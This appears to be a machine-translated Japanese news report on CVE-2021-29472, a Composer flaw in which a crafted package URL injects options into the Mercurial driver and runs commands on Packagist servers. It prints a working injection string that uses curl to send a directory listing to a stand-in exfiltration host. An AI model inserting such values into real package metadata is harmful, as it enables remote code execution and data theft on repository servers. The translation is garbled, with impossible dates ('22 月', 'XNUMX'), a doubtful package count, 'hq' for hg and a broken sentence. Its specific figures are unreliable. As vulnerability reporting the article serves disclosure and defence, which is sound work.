Composer パッケージ マネージャーの脆弱性により、Packagist PHP リポジトリが侵害される可能性があります

Composer の依存関係マネージャーに重大な脆弱性 (CVE-2021-29472) が確認されました。この脆弱性により、ソース コードをダウンロードするためのアドレスを指定する特別にフォーマットされた URL 値を持つパッケージを処理する際に、システム上で任意のコマンドが実行される可能性があります。この問題は、Git、Subversion、および Mercurial ソース管理システムを使用するときに使用される GitDriver、SvnDriver、および HgDriver コンポーネントで発生します。この脆弱性は Composer リリース 1.10.22 および 2.0.13 で解決されました。

この問題は主に Composer のデフォルトのパッケージ リポジトリである Packagist に影響を与えていることが特に指摘されています。Packagist には PHP 開発者向けの 306 のパッケージが含まれており、月間 1.4 億回以上のダウンロードが行われています。実験では、問題に関する知識があれば、攻撃者が Packagist インフラストラクチャを制御して管理者の資格情報を傍受したり、パッケージのダウンロードをサードパーティのサーバーにリダイレクトしたりして、バックドアの代わりとなる悪意のある変更を含むパッケージの亜種の配信を組織できることが示されました。依存関係のインストールプロセス中。

エンドユーザーに対する危険は、composer.json の内容が通常ユーザーによって決定され、通常は信頼できるサードパーティのリポジトリにアクセスするときにソース リンクが送信されるという事実に限定されます。主な打撃は、Packagist.org リポジトリと、ユーザーから受け取ったデータの転送で Composer を呼び出すプライベート Packagist サービスに降りかかりました。攻撃者は、特別に設計されたパッケージを配置することで、Packagist サーバー上でコードを実行する可能性があります。

Packagist チームは、脆弱性が報告されてから 12 時間以内に脆弱性を修正しました。研究者らは 22 月 27 日に Packagist 開発者に非公開で通知し、問題は同日に修正されました。この脆弱性に対処する Composer の公開アップデートは 28 月 XNUMX 日に公開され、詳細は XNUMX 月 XNUMX 日に明らかになりました。 Packagist サーバー上のログの監査では、この脆弱性に関連する不審なアクティビティは明らかになりませんでした。

この問題は、ルートのcomposer.jsonファイルとソースのダウンロードリンク内のURL検証コードのバグが原因で発生します。このエラーは 2011 年 XNUMX 月からコードに存在しています。 Packagist は特別なレイヤーを使用して、特定のソース管理システムに縛られることなくコードの読み込みを整理します。これらのレイヤーは、「fromShellCommandline」を呼び出してコマンド ライン引数を渡すことによって実行されます。たとえば、git の場合、コマンド「git ls-remote -heads $URL」が呼び出され、URL は「ProcessExecutor::escape($url)」メソッドを使用して処理され、「$(. ..)」または「` ...`」。

問題の核心は、ProcessExecutor::escape メソッドが「—」シーケンスをエスケープしていないため、URL 内で追加の呼び出しパラメータを指定できるようになっていることです。このようなエスケープは、GitDriver.php、SvnDriver.php、および HgDriver.php ドライバーにはありませんでした。 GitDriver.php 攻撃は、「git ls-remote」コマンドがパスの後の追加引数の指定をサポートしていないという事実によって妨げられました。 HgDriver.php への攻撃は、「--config」パラメータを「hq」ユーティリティに渡すことで可能であることが判明しました。このユーティリティを使用すると、「alias.identify」設定を操作することで任意のコマンドの実行を整理できます。たとえば、curl ユーティリティを実行してコードをダウンロードして実行するには、次のように指定できます。 —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

研究者らは、同様の URL を持つテスト パッケージを Packagist に投稿することで、投稿後にサーバーが AWS の Packagist サーバーの 1 つから、現在のディレクトリ内のファイルのリストを含む HTTP リクエストを受信したことを確認しました。

出所: オープンネット.ru

コメントを追加します